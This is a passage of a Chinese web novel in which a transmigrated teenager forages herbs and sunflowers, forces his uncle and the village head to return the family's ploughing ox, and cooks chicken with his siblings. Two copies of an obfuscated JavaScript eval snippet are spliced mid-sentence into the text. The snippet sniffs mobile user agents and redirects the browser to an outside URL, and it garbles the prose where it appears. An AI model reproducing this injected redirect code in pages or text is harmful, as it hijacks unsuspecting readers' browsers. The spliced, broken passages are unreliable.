等中午回来,他能给弟妹们煮饭,再把鸡杀了煲汤。下午再和其中一人交换,对方留在家里休息给黄精翻面,他去犁田。 不管如何,他这具身体比老二老三大三岁,心理年龄大更多,没打算完全将犁田的任务交给他们。 只是这话不能提前说,说了弟弟妹妹肯定天不亮就跑去干活,不给他机会。 次日,吃过早饭,几个弟妹就帮着把蒸好的黄精端出去。 他们家厨房侧边是块空地,也在院子里,阳光足,因为侧边院外小径狭窄,平时路过的人少,刚好可以在这边支起架子,再把大簸箕之类能晾晒的工具都搬出来。 “刚刚好。” 秦高琼拍拍手,目光落在前院空地上。 “等以后多起来,就得去那边晒,瞒不过周围的人。” “那时再说。” 采药和种田不一样,如果有哪个人家一个收获季卖了一百文,村里人只会觉得收成太低。但野生草药是大自然的馈赠,基本算白得,还一天就白得一百文,眼红的人肯定多。 不过就原身观察隔壁采药人的生活,眼红的人多,有分寸的人更多。想吃这碗饭,得看本事。 很快,秦高瞰兄妹带着农具、装了水的竹筒和不少草料去村长家,秦高瞻则是拿起背篓和锄头准备进山。 出门前,他叮嘱秦高瑜,“你在家守着,要是有人喊你出门,别答应。要是忽然变天要下雨,就去地里喊二哥和姐姐他们。能完成这个重要的任务么?” “能!” 小女孩努力严肃脸,拍拍心口,“哥,交给我吧,保证完成任务。” “阿瑜真厉害。” “嘿嘿~” 等大哥出门,小女孩搬了个小板凳坐在院子里和母鸡说话,偶尔看眼仓库、二哥卧室的窗户以及厨房的方向。 她知道,他们家的财产全在这儿呢。 这次秦高瞻没那么好运找到价格较高的丹参或是大片的黄精,好在他已经熟悉了沙参和柴胡的苗,挖到了一些根,之后又找到据医馆的人所说这一片比较多的当归,准备下山的时候,又看到一些南苍术,量不多,他也不嫌弃,直接挖了。 “这儿都没能摘的野菜,往那边走走看,换条路下山。” 用棍子拍打着两边的草丛,秦高瞻寻思着下次去县城里买点驱蛇的药包。 这座山是没大型野兽,可开春了,是蛇类活跃的时节,他没碰到不代表山里没有。这个时代可没血清。 提防着随时可能窜出来的蛇,秦高瞻的目光也左右移动,视野里跃入一个金灿灿的大脸盘时,他还没反应过来。 “是我眼花了?” 快步走近,才发现这一片有好些个大脸盘,也就是他所熟知的向日葵。 在他熟悉的历史里,向日葵是明朝传入。如今所在的世界是架空朝代,自唐之后发生了很大改变,包括和外邦的交流。算算时间,向日葵出现的时间比原历史早了些,但也不是不可能。 如果向日葵已经传入大乾,那玉米、番薯、马铃薯有没有可能也传入了? 仔细在原身记忆里搜索,从未听说过这几种作物的秦高瞻又冷静下来。 “这些作物产量高,如果已经传入却没被推广,证明传入时间较短,大家还没发现它们的价值。” 当然也不排除执政者脑子有问题,看出价值也不推广。 岑县还是太小,消息并不灵通。 不过,不说尚不知情报的玉米、番薯和马铃薯,向日葵可是实实在在出现在他眼前,先割几个带回去研究。 要知向日葵是非常好的油料,有着不同于时下流行的菜籽油、芝麻油、豆油的营养价值。多一种油料,老百姓也能多种选择。 此外,葵花籽本身营养丰富,炒来吃也不错,也能药用。根系发达可以修复污染的土地,茎杆可以造纸、当燃料、当动物饲料,总之好处多多。① 虽说是野生,可这些向日葵的脸盘也很大,最终秦高瞻只割了两个放在背篓里,就急急忙忙下山准备回家做饭。临走前,他特地在附近留了几个记号。 快到家时,他看到邻居王大娘在他家门口徘徊。 院子里,小妹则是紧张的拽着衣角,疑惑的看着王大娘。 “王大娘,您这是?” “瞻哥儿,你可算回来了,”王大娘也不卖关子,快嘴道,“快去村长家吧,你弟弟妹妹和你 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秦登科那么重颜面,当下又是他儿子要参加府试的关键时期,怎么会和他们家抢牛用? 而距离他和弟弟妹妹分别大概过去两个时辰,这期间若是他们回家找他,刚刚小妹就会告诉他,可两人没回来。 他心里七上八下,快到村长家时,被人叫住。 “瞻哥儿。” 秦高瞻心烦意乱的看过去,发现是周氏周春燕,正提着个篮子,里边放着一些碎布头。 “周婶,怎么了?” 周春燕更直白,“七八日前,秦登科把耕牛借给了邻村一个酒友用,那人照料不仔细,牛病了,承诺将牛治好再还回来,同时也帮忙耕几亩地,秦登科一直瞒着家里。直到今日,大壮叔去地里浇水,发现远些的那几亩地没动,就催着秦登科找村长。偏巧今天是你们家用牛,也不知他们在村长家说了什么,瞰哥儿他们正用着,牛就被抢了。” 说到这儿时,周春燕表情还有几分嫌弃。显然她也清楚,换做是其他家今日用牛,秦大壮和秦登科绝不敢这么做。 秦高瞻也明白这一点,“谢谢婶。” 理清楚前因后果,他心里就有数了,辞别了周春燕,大步进了村长的院子里。 村长家盖了青瓦房,院子也大,今日天气好,晒了不少东西,不过这会有几个簸箕被打翻了,竟没人收拾。 他那对弟妹正红着眼拦住秦登科,说什么都不让他走。 王村长则是立在门口抽着旱烟。屋檐下还站着一个年轻女人,眼神游移。村长媳妇则是站在厨房门口,遥遥瞪着那个年轻女人,时不时心疼的望向被打落在地的几样东西。 秦高瞻进院子时,秦登科正欠欠的说,“你们不尊敬我这个大伯就算了,你们亲爷爷要用牛,你们也不让?你们爹娘当年不孝,总气你们爷爷,你们也有学有样?” 8. 寸步不让 “不许你污蔑我爹娘,”秦高瞰怒道,“他们就是太孝顺了!” 听到村长的咳嗽声,男孩又努力压抑自己的情绪,只是声音都因愤怒而颤抖。 “我们已经分家了,凡事讲规矩,先来后到,你们家要用牛,那就提前和村长伯伯说,排到你们再来,而不是我们正耕着地,就把牛牵走了。” “你们翻来覆去就这么几句,我都听烦了,那可是你们亲爷爷,你们也太不孝顺了。” 秦登科气笑了,他快步走近,挡在弟弟妹妹跟前。 “大伯你可太孝顺了,担忧爷爷因为过于空闲身体不适,宁愿将耕牛借给别人家,也要爷爷出门活动,村里没人比你更孝顺,难怪爷爷这般康健。” 秦登科哽住。来了,这熟悉的阴阳怪气的味道。 且不说他将耕牛借给别人家的事,就说身体康健,他爹的身体还真不算康健。毕竟他和他媳妇很少干活,儿子要读书,小女儿没用,家里的农活都是爹娘做的。比起别人家有青壮帮忙,爹娘更辛苦,也就更苍老体弱些。 清楚是一回事,并未因此心疼爹娘是一回事,被看不上的侄子挑明又是一回事。 “刚好,瞻哥儿你来了,那评评理。” “评什么理?”秦高瞻一副气坏的模样,“你犯错让我们家吃亏,还拿爷爷说事?爷爷肯定被你蒙蔽了,他知道我们家情况,怎么可能在关键时刻抢我们家的耕牛,他可是我们的亲爷爷啊,哪来不心疼孙子孙女的爷爷呢!” 正在抽烟的王村长看了他一眼,又扫了眼脸色陡变的秦登科,有些惊讶。 瞻哥儿这是病一场后,以往的机灵劲都回来了?这话一出,秦登科就没法用孝道压人了。只是哪怕这样,事情也没解决。 王村长郁闷的抽了口烟。 秦登科更郁闷。 他一点都不想对上秦高瞻,不过好在他今日是有备而来。 “行,你们要讲规矩,那我们就讲规矩,”秦登科淡定道,“我们家先登记用牛,今明两日是我们家,之后才轮到你们家。” “不是这样的,”秦高瞰急了,“我前日来的时候和村长伯伯说好了,村长伯伯也登记了。” 见大哥来了,秦高琼早就放下了举起的拳头,闻言,连忙说,“不信让村长伯伯把记录拿出来看。” 耕牛和用水不一样,如果村民因为用水发生冲突,村长只能调节,但耕牛是朝廷分配,由村长负责安排。牛又是活物,在不同人家间来回时,难免生病受伤。 因此,为了用牛的公平,以及确定责任和事后赔偿,每个村的村长都会准备单独的册子对使用耕牛情况进行记录,甚至要求村民按手印。 秦高瞰提出看登记册子,不出意外,会是最好的证据。只是,这话一出,王村长家三人表情微变,反倒是秦登科有恃无恐。 秦高瞻自入院就将几人的眉眼官司瞧得清清楚楚,再结合王大娘找他的时间点,周春燕说的那些话,以及王村长裤腿沾上的新鲜泥土,他差不多将整件事捋清楚了。 今天早上,弟妹和他分开后,的确成功领到耕牛,带到田里开始犁地。过了段时间,秦大壮父子直接去地里抢耕牛,双方肯定发生了冲突,弟妹来找村长说理。 根据新鲜的泥土和村长的郁闷,可见他是事后匆匆赶回来,那么秦登科之前来村长家,是和谁交流,交流了什么? 答案就是那个年轻女人,村长的小儿媳陶氏。 双方做了一些交易,才让秦登科有恃无恐。 这意味着如果逼迫村长拿出记录,只会看到被更改的记录。为遮掩小儿媳的过错,同时维护自己身为村长的权威,村长只能认下这件事,这对他们家不利。就算村长因此愧疚,愧疚能值几个钱? 更何况从他们进来到现在,村长一句话都没说。是在想对策,也是在看他们谁占据上风就帮谁。 甚至他能以恶意揣度,村长巴不得秦登科用孝道成功压制他们家,免得最后提出看登记册子。 册子能改,但也会留下证据。王村长肯定不希望被他们看到。 “你们都是一家人,何必闹成这样?” 陶氏勉强露出笑容来打圆场。 “瞻哥儿,你病才好,不急着下田,就让你爷爷他们先用,后天就轮到你们了。” 秦高瞰隐约意识到什么,不敢相信的看着她。陶氏避开他的目光,却和秦高琼的目光对上,吓得后退了几步。 “是啊,都是一家人,大伯不如就让让我这个病才好的侄子?” 秦高瞻根本不愿意退让,耕牛这么重要的事都能退,以后全村人都可以欺负他们家了。 “这几日我们用,用完就轮到你们。” 秦高瞻微笑:“要想快些用牛也行,你们自己带着农具来帮我们家,指不定两日就翻完地。” “你!” 秦登科气红了脸,扭头对一直沉默的村长说,“王村长,把登记册子拿出来给他们看!” 王村长:“……” “哥,”秦高瞰不安道,“也许……” “没事,我有办法解决。” 秦高瞻并没压低嗓音,这话也引来院子里几人各异的目光。 他目光对准面露得意的秦登科,话却是对村长说的。 “朝廷素来重视农桑,一度针对耕牛制定了多条律法。我觉得这件事已不是咱们一个村的事,不如去请里正来。里正就住在隔壁村,快去快回还不耽搁他用午饭呢。” 王村长还没给点反应,秦登科和陶氏就急了。 “你这孩子,这点小事何必惊动里正?”陶氏责怪道,“你爹娘可不会和你这样大惊小怪。” “就是,瞻哥儿,别胡闹,这件事闹大对你没好处。”秦登科劝道。 “他们早就去世,来不及教我们,”秦高瞻不为所动,还能继续加码,“对了,我明日打算去县城一趟,刚好知道县衙怎么走。新来的县令体恤百姓,听说农忙时还会亲自下地,我们家地太贫瘠,我想找县令大人请教如何改善,想必爱民如子的县令大人不会拒绝。” 秦登科和陶氏傻眼了。 就为这点事要闹到县令那儿? 前者更是惧怕影响儿子府试。 原本以为更改登记册子就高枕无忧,可没想到这小子这么狠毒。 “哥,我去找里正。” 秦高琼将大人们的反应收入眼底,直接跟兔子似的窜到院子口,“我知道里正住……” “够了!” 王村长终于开口了。 他制止了秦高琼,深深看了秦高瞻一眼,最终注视着秦登科。 “你记错了,你们家是登记在瞻哥儿家后头,是也不是?” “…是。”秦登科不太情愿的应下。 要是闹到县令那,王村长被革职是小,他们家高中丢了府试资格是大。 “一起去地里,我让爹把牛牵过来。” “不行,”秦高瞻制止狂喜抬脚准备跟着离开的弟弟,“你去牛牵过来,咱们当着村长的面检查耕牛,交接耕牛。” 秦登科又气又恼,愤愤瞪了秦高瞻一眼,转身就走。 王村长看向儿媳,“去厨房帮忙。” 陶氏连忙走了。 “瞻哥儿,这件事……” “村长伯伯,不急,等他们家把耕牛还回来再商量。”秦高瞻语气不变。 王村长讪讪闭嘴。 他一面感激秦高瞻没真的把事情说开,闹到全村人都知道,一面又恼怒被威胁了。可终究是他们家的人做错事,他很快将这份恼怒转移到秦登科和小儿媳身上。 没多久,秦登科牵着牛回来。 王村长主动检查耕牛,确定没问题,将牛交给眼巴巴看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763571|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的秦高瞰。 秦登科重重哼了声,转身欲走,被喊住。 “等等。” “你还有完没完?” 秦高瞻只觉好笑。 做错事的人反而更加理直气壮。 “你必须当着村长的面承诺,接下来几日,你们一家不会以任何理由抢走耕牛。” “你在质疑我的品行?” 秦高瞻惊讶脸。 他一句话没说,又仿佛什么都说了。 秦登科气得胸口剧烈起伏,从牙关里挤出一句话,“行,我承诺我们一家不会抢你们家的牛。” “还有……” “还有?!” “大伯,你耽误我们家半天的农活,不能就这么算了吧?” 秦高瞻一直注意着弟弟妹妹们的情绪。 刚刚来时发现他们没受伤,松了口气,可很快,他发现弟弟妹妹处于十分压抑痛苦的情绪里。 这是这些人带来的,不狠狠出口气,宰一顿,都对不起弟弟妹妹的担心受怕。他们才十一岁,失去爹娘,又为大哥的病担心受怕,好不容易振作起来犁个田,还被搞事。 秦登科听懂了,这是索要赔偿,正如他上次去探病反而被讹一样。 真是把他那对短命爹娘的土匪作风学得一干二净。 “小孩家家,半天能做多少事?” “你觉得能做多少事?”秦高瞻反问。 他表情没太大变化,可自觉将他带入恶鬼的秦登科忍不住在想,难道这是在说,赔偿不让他满意,就会搞事? 后怕涌上心头。 当然,小气也涌上心头,秦登科一时无言。 旁观的王村长忽然说:“我没说清用牛的先后顺序,也有责任,耽误你们家半天农活,你们三又素来勤奋。这样,我赔你们家一只小母鸡,十颗鸡蛋和两升米。” 站在厨房门口的陶氏忍不住道:“爹,这也太多了吧?” “你闭嘴。”王村长一字一顿。 陶氏只得去劝另一人,“娘,你去劝劝……” 村长媳妇不语,转身去存鸡蛋的地方捡了十颗鸡蛋,又装了两升粗粮,麻利的抓了一只小母鸡,送到秦高瞰手边。 男孩有些犹豫,动作慢了拍,秦高琼却毫不犹豫接过来,反手塞到二哥手里。 “婶,我们一起捡捡吧,刚刚太激动打翻了它们。” 村长媳妇松了口气。 总算可以捡这些东西,她都心疼了好一会。 至于送出去的那些东西,她不傻,知道不仅仅是赔礼,还是封口费,一点都不算多。 “不用不用,我自己来。” 秦高琼还是帮忙捡了。 发现妹妹的心情好了些后,秦高瞻又盯着秦登科。 他不说话,眼神让人很有压力。 秦登科咬牙,“我也赔这么多,你自己去……” “麻烦你们送到村长家,我们还牛的时候会拿。” 秦高瞻太清楚这个大伯的性格了,对外人大方,对家人亲人小气。别看这会答应得好好的,转头他们上门拿,不是让赵氏骂他们,就是耍赖,最后能给他们一些米糠就不错了。 他满脸写着‘我不相信你’,秦登科还不能说什么。 “行,按你说的办,我现在能走了吧?” 秦高瞻做了个请的手势,又对村长说,“到时麻烦您了,村长伯伯。” “不麻烦,”聪明人之间不需要多说,知道这是同意隐瞒,王村长心情也好了点,余光瞥见秦登科没出院门,拔高了声音,“一村人总在地里碰到,要是他们太忙忘了,我帮你催催。” 秦登科的脸色变得更加难看,回头朝厨房的方向瞪了眼。 厨房里,瞧见这一幕的陶氏跺脚,轻声道。 “爹他真是的,不知道我的良苦用心!” 9. 宰鸡 秦高瞻三兄妹带着赔偿和耕牛回家了。 一路上,有不少中午回家吃饭的村民探头探脑。 快到家时,秦高瞻先去接了小妹,又要给王大娘两颗鸡蛋。 “麻烦您照顾阿瑜了,也多谢您提醒我。” 上午做农活的人多,肯定不少人看到两家人的争执,快中午回家吃饭的人多,也肯定知道村长家的吵闹,可提醒他的,只有王大娘和周婶。 “哎呀,一点小事,哪里用得着这么客气?” 王大娘不接,她望向秦高瞻瘦削苍白的脸,“留着给自己补补身体。” 秦高瞻没收回去,“刚好我家今日要煮鸡汤,您不想吃鸡蛋的话,那我待会端两碗汤过来,您和叔都尝尝。” “不用不用,”王大娘赶紧把鸡蛋接过来,“有这些就够了,千万别端鸡汤过来。” 秦高瞻这才带着妹妹回家。 见小妹闷闷不乐,他回到堂屋后,蹲下来,露出笑容。 “之前事情没解决,不好和你说,现在解决完了,可以和你说了。” 小女孩原本暗淡的眼睛顿时亮起来。 “让二哥和姐姐和你说,他们知道得最清楚。” 秦高琼正在喂牛,秦高瞰在放下小母鸡后,过来解释了几句。 和秦高瞻推理得差不多,他们在地里和秦登科父子发生了冲突。 “奶也在,我们吵不赢,又怕伤了牛,”这声‘奶’秦高瞰喊得很不情愿,“最终被他们抢去,他们俩急着去犁地,秦登科留下来嘲讽了我们几句,阿琼一气之下,拽着他去找村长评理。” 秦高瞻惊讶妹妹能拖动一个成年人,那秦登科到底有多虚啊。 “村长是后来回来的,一直没做声,之后大哥你来了。” 说到这,秦高瞰迟疑道,“哥,我们真要收村长的赔偿?” “这件事他们家本有责任,怎么不能收?” “可他是村长,以后我们家用牛还需要靠他……” 秦高瞻摇头,“经过这件事后,他以后更不敢在用牛上为难我们。” 他拍拍弟弟的肩膀,“你是觉得取回耕牛就好,不想把事情闹大,得罪村长,也让村里人看笑话?” “…嗯。” “可是阿瞰,你还记得我们以前抢水浇灌的事吗?有人把我们家的田开了个口,他们家的稻谷吃足了水,咱们家的却渴了好几天,咱们是不是息事宁人了?” 秦高瞰的顿时白了脸,他知道大哥想说什么了。 “这证明,”喂完牛的秦高琼大步走进来,“一味退让是没用的,当初能抢我们家的水,现在就能抢牛,以后只会做更过分的事。” 她气鼓鼓的坐在椅子上,“去年有两户人家就因为浇水的事打起来,村长劝都没用,最终是里正出面才解决。咱们都没开始打呢,真是便宜那个家伙了。” “不是所有事都能用打架解决,”想起了不久前妹妹举起又放下的拳头,秦高瞻劝,“有时候言语威胁更有用。你们看,这样我们家就有两只小母鸡了,不用花钱买。” 又对恢复一点精神的秦高瑜说,“以后喂鸡的事就交给你啦。” “没问题!” 小女孩重重点头,不过她的思绪没被带歪,“我明白了,那个坏蛋又欺负我们家了,总有一天,我们要欺负回去!” “是报复,”秦高琼纠正,“我们是正当防卫。” “没错!” 秦高瞻扶额,轮到秦高瞰劝了。 他真怕两个妹妹找机会给秦登科套麻袋打一顿,打伤秦登科无所谓,可要是伤到自己,那可不划算。 这时候,他不得不搬出两家人给赔偿的事。 “给了赔偿事情就结束了…吧,”他不确定的看向秦高瞻,“村长真不会事后报复我们家?我怀疑登记册子被修改过。” “正因为被修改过,他才不敢大张旗鼓偏袒,”秦高瞻安抚,“毕竟,他这个村长位子坐得并不安稳。” “哎?”余下三兄妹露出同款疑惑脸。 “你以为我这个位子坐得很稳?” 王家,关上门后,村长朝小儿媳低吼,“还嫌赔礼给多了要追回,我巴不得给更多!” 那可是事关他村长一职的封口费,仅仅一只小母鸡,一点米和鸡蛋哪里算多? 他又不敢给太多,那些人一路从田里闹到他们家,引起不少人的关注。如果秦高瞻等人离开他们家带走太多东西,就是明晃晃告诉村里人,他这个村长心虚,会引起好事之人的追查。反过来,给了一些对他们家来说不算贵重的东西,既不让村民怀疑,还能让大家觉得他这人有担当,行事大气,会更加信服他。 想到那册子上还登记了一些人名,至少得等那几家人用完耕牛,确定完耕牛无事再次按印,他才能找理由烧了册子,烧毁证据。意味着他还需要担心受怕多日,王村长心里就气。 被吼的陶氏只觉委屈。 村长媳妇叹了口气,“咱们梨花村和别的村不一样,宗族势力不强,每户人家在村里就几个亲戚,甚至没有亲戚。那靠什么选村长?只能靠学识、威信和时机。你爹当初就是因为读了些书,和村里不少人家交好,又遇到机会,才成为村长。” 陶氏听得晕乎乎。她以前生活的村子不是这样的,村长基本都是宗族里辈分高资历深的人当选。因为一村子人都是亲戚,选谁都没太大差别。 “可你看看现在,”叶氏试图借机扭转小儿媳的观念,耐心劝说,“大家日子好过了,连着两代人都有不少在读书。他们比你爹更年轻,读书的日子更久。但凡你爹犯了错被他们抓住机会,村长这位子就是别人家的。” 陶氏心头这才涌上害怕。 可想到赔出去的东西,秦登科的怒气,以及秦高瞻的嚣张,她还是忍不住嘟囔,“我就不信瞻哥儿真敢去找里正或者县令大人,要真这么强硬,以前别人抢他们家水时,他们就不会忍气吞声了。几个小孩子,爹也没必要怕他们。” 王村长气笑了。 “是啊,十几年前,不少人都是这样看待周氏的。孤儿寡母,多好欺负,从抢房子抢田到抢水,最后呢,周氏爆发了,上任村长被抓了,我才有了上位的机会。” 陶氏弱弱道:“我才嫁过来几年,不知道周姐的事。” 王村长似笑非笑。 陶氏心虚的别开眼。她当然知道公公口里的周氏是周春燕。在嫁过来后,她和村里女人聊天时,就听说过周春燕的八卦。据说周春燕没嫁人,以及男人没死前,性格温婉甚至有些懦弱,和现在泼辣爽利的性格判若两人。 看似懦弱的人会爆发从此性情大改,十四的小孩也敢威胁她公公,陶氏后知后觉,“我知道了,我以后不招惹他们家了。瞻哥儿笑里藏刀,我也不敢招惹了。” 说完匆匆转身,“我去做饭。” “站住。” 陶氏转回来,表情怯生生。 “今天你娘在家,你见了秦登科,我就不说男女那些事,你至少有点分寸。不过,他许了你什么好处,让你同意在册子上动手脚?” 提到这个,陶氏反而理直气壮起来。 “盛哥儿四岁,也该启蒙了。我寻思着高中那孩子就是四岁启蒙,如今都是童生了,也想把盛哥儿送到孙秀才那儿启蒙。” “什么童生?”王村长冷笑,“还没过府试呢,算什么童生?” 陶氏不解,“可他今年极可能通过府试,指不定明年就是秀才,足见孙秀才的能耐。” 王村长扯了扯唇角。 孙秀才为何将女儿嫁到村里,其他人也许不知情,他后来成为村长去县里走动,还是略听到些风声。 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“哼,她是没那个能力和权力,不是村长就敢对册子动手脚,要不是怕声张出去,我都想把她赶回娘家冷静几个月。” 要是冷静不下来,还不如休了,免得以后殃及他儿子和孙子。 “希望她说到做到,以后别为难瞻哥儿一家,也别和孙氏走得太近。” “最近讨好赵氏孙氏的人可不少,怎么,你不看好高中?” 面对老妻,王村长态度好不少。他平时既要干农活,也要处理村里大小事宜,这个家基本都靠老妻维持。老妻的为人处世对底下的孩子们有深远的影响。 “我和你仔细算算,高中是四岁启蒙,六岁就跟着举人读书,十岁第一次下场吧?” 叶氏点头,又顺着他的话说,“如今他二十岁,十年里,这是第二次通过县试,不过这次排名比较好,赵氏和孙氏说夫子都觉得高中能过府试。” “要当秀才,最重要的是院试,”王村长直白道,“要我看,咱们村就有好几个孩子有秀才之资,为何考不上?因为名额。” 发现自己说远了,王村长又将话题扯回来,“总之,读了十六年的书,下场十次,在今年才进府试,我可不觉得高中那孩子是读书的好苗子。当年他爹也是早早读书早早下场,至今一事无成,还说不过一个孩子。” 王村长忍着没说,在他看来,要是把秦高中的读书资源给村里其他几个孩子,那几个孩子早考到秀才了。 这话说出去得罪人,而且秦家有本事找一个秀才公当亲家,一家人也愿意供老大以及老大孩子读书,他们这些外人也不好多说什么。 “我看瞻哥儿那孩子缓过劲来了,以后指不定有大造化,”叶氏忽然说,“这封口费要不要再加点?” “别,外边人都看着呢。这件事就这么过了,日后要是他们遇到事,就帮一把。” 不少村民都注意到村长家的动静,当做吃饭的谈资,秦家的事又反复被提及。 作为谈资之一的秦高瞻等人却顾不了那么多,他们正对家里的老母鸡发愁。 “我只看过爹娘杀鸡。”秦高瞻提着把刀,有些无处下手。 “我也没杀过鸡。”秦高瞰干巴巴道。 被嘱咐捂住眼的秦高瑜悄悄张开指缝,下意识跟上节奏,“我也没杀过。” “我来试试。” 肚子饿得咕咕叫的秦高琼抢过菜刀,一把提起那只老母鸡,手起刀落,按照自己曾看过的画面开始放血。 放完血再将母鸡放入滚烫的水里,开始拔毛。 两个哥哥这才反应过来,争抢着拔毛。 “我来我来。” 三兄妹不约而同的想,刚刚妹妹/姐姐好飒啊。 10. 春笋炒鸡 鸡毛被秦高琼要去了。 她对妹妹说:“过几天做些毽子,留一个我们玩,其余卖了。” 秦高瞰正在剁肉,秦高瞻在一旁淘米洗菜,闻言问,“咱们村有人做毽子拿去城里卖?” “对啊,我经常看周婶在村里收鸡鸭毛做毽子,她还会收些碎布头做些好看的绢花发带拿去城里卖。她家田地不多,还租出去了,她儿子却能读书,做这些肯定能赚到钱。” 秦高瞻赞同的点头,难怪之前看到周春燕时,对方提着的篮子里装了些碎布头,当时他以为是拿回家纳鞋底的。 没多久,他们家也燃起了炊烟。 厨房里本就有两个灶口,这会一个蒸着饭,另一个则是在炼鸡油。 将鸡脂飞快焯水去掉一些水分和异味,再和姜块、葱节一起小火炼制。炼好后,将大部分添起来晾凉,余下的油用来炒鸡,放些秦高瞻上午找到的春笋。 春笋改刀后也焯过水,加入后略微翻炒,再次将大部分添起来放入陶罐里。 陶罐就搁在小石炉上,里边已经放了些生姜葱节,这会放入春笋炒鸡,再加入清水没入食材,小火慢炖。 盖上盖子后,四兄妹的目光落在铁锅里没完全熟透的春笋炒鸡上,不约而同的咽口水。这将是他们中午最重要的一道菜。 炒完鸡肉,往锅里倒点鸡油,炒了一大盘青菜。 整个厨房都弥漫着鸡的鲜香味,早就饿坏的四人纷纷添饭,大口吃起来,表情虔诚。 那些不开心随着食物入肚,都逐渐消失。 吃饱喝足后,秦高瞻就着逐渐香浓的鸡汤味和弟妹们商量。 “阿瞰,我记得你约了三日的耕牛。” “嗯,现在只余下两日半,不过村长也许会宽限半日,今天上午又不是我们的错。” “这样,为防止又有变故,我们轮流去犁田。” 上午的事也给秦高瞻敲响了警钟。他之前打算半日挖药半日犁田,现在看来,还是一整日去地里盯着比较好。谁知道走了个秦登科,会不会又来一些人招惹他们家。 爹娘去世,爷奶不管,最大的十四岁,最小的五岁,看着就好欺负。梨花村算是民风淳朴了,可任何地方和群体都不缺害群之马,他可不敢赌。 秦高瞰兄妹同样想到上午的事,难得没有拒绝。 略微休息后,三兄妹趁着大太阳将黄精翻面,又将喂鸡看东西的任务交给小妹,嘱咐她遇到事就喊隔壁家的王大娘,这才牵着牛出门。 路上有村民打听上午的事,他们都没理睬,一心想着快些犁田。 一整个下午,三人一牛都是轮流犁田和休息。说是休息,空闲下来的那个人不是去附近割草,就是将翻过的田地耙一遍。 到了傍晚,兄弟俩一致决定让妹妹牵着牛回家。 “你先回去喂牛,收黄精,煮饭,我们趁着还有亮光,再犁会。” 畜力不够人力来补,这是农村常有的做法。 秦高琼也没矫情,只是说,“那明天我和你们其中一个换。” 她带着牛回家后,兄弟俩又忙活了快一个时辰,天差不多黑透了,才回家。 到家时,牛已经吃饱饭去堂屋休息了。 他们家没专门的牛棚,厨房和仓库东西多,只能将牛安顿到堂屋里。春日夜晚寒意重,要是冻坏了牛,耽误农耕还要赔偿,那可不划算。 黄精也被收起来,晚饭也已经煮好了。 “我添了一些汤到锅里,又加了些水和不少青菜,煮了满满一大锅,喝汤或者泡饭都行。”秦高琼说。 兄妹四人选择一致,先添一小碗汤,慢悠悠喝了暖暖胃,再来个汤泡饭。 白天得了村长家的两升米,过两日秦登科也得给两升米,蒸饭时秦高琼就大方起来。以前他们经常饿肚子干活,现在终于能在劳作之后饱餐一顿了。 一大锅汤和足量的米饭都被吃完了。 “嗝。” 不知道是谁先打了嗝,紧接着第二个人也开始打嗝。 兄妹几人互相看了看,哈哈笑起来。 “今天我负责洗碗。”秦高瑜举起小手,积极踊跃。 秦高琼干脆舀了些温水到木盆里,放在凳子上,等妹妹洗好碗筷,她再接过擦干,放进橱柜里。 “走,”她牵起妹妹的手,“我们也去处理药材。” 四人合作,很快处理好秦高瞻上午挖的那些药,又纷纷去舀热水泡脚。 兄弟俩一个盆,姐妹俩一个盆。 “哥,你摘那个大脸盘子回来,是准备炒着吃么?” 秦高琼指了指放在角落里的两朵向日葵。 “我以前见村里人摘来炒过,说是没什么味。” “得加点盐炒才有味,”秦高瞻解释,“那你有见过大家摘了籽来种么?” “怎么种?种来有什么用?”秦高琼茫然脸。 秦高瞻又去看另两个。 两人跟着摇头。 “哥,你想种?”秦高瞰敏锐找到重点。 “有这个想法。” 犁田是劳力活不是脑力活,秦高瞻白天一会在心里背书,一会惦记着山上的向日葵。 “咱们家有十亩旱地,基本都在种菜,其实咱们吃不了那么多,余下的菜是种来卖。可是咱们家蔬菜没别人家种得好,村里种来卖的人也不少,带着县城里去卖,挣不了几个钱。” 三兄妹齐刷刷点头,“卖的人太多了。” “我们家的菜叶子总被虫啃出洞。” “我们也不太会种菜。” “好多地在山坡上,种什么都不方便。” “总结来说,咱们家的旱地其实想用来挣钱,那就能种植经济作物,向……大脸盘子其实就可以做到这一点。” 秦高瞻简单说了几点,“它的籽咱们可以炒成咸的甜的五香的,可以赶集的时候卖,不用去城里。也可以和卖货郎那样,在城里大街小巷叫卖。只有我们家有,一旦有人喜欢,就只能找我们买。不过,我更看好它能榨油,就像菜籽、芝麻和大豆那样。” “炒来卖可以试试,总有人愿意尝鲜,第一次少种些,肯定不会亏,”秦高瞰中肯道,“榨油就比较麻烦,一般油坊不会同意,担心损坏他们的东西。” “我也这样想,要是有自己的油坊就不用担心了,”秦高瞻笑了两声,“可惜没钱。” 要是有足够的钱,他能以向日葵为核 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763573|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心组建产业链。 只能梦里想想了。 “说不定以后就有钱开油坊呢?”秦高琼捧着脸幻想,“只有咱们家有的油,还是没见过的油,可以吹得天花乱坠高价卖给那些富人啊,他们肯定愿意当冤大头。” “咳咳,阿琼,”秦高瞰提醒妹妹,“不能当奸商。” 秦高琼朝他做鬼脸,“我又没打算经商。” “那你打算做什么?” “我……”秦高琼陷入沉思,过了会,装作睡着开始打呼噜。 秦高瞰无奈,擦干脚穿好鞋后推推她,“水要冷了,快点擦干回房睡。” 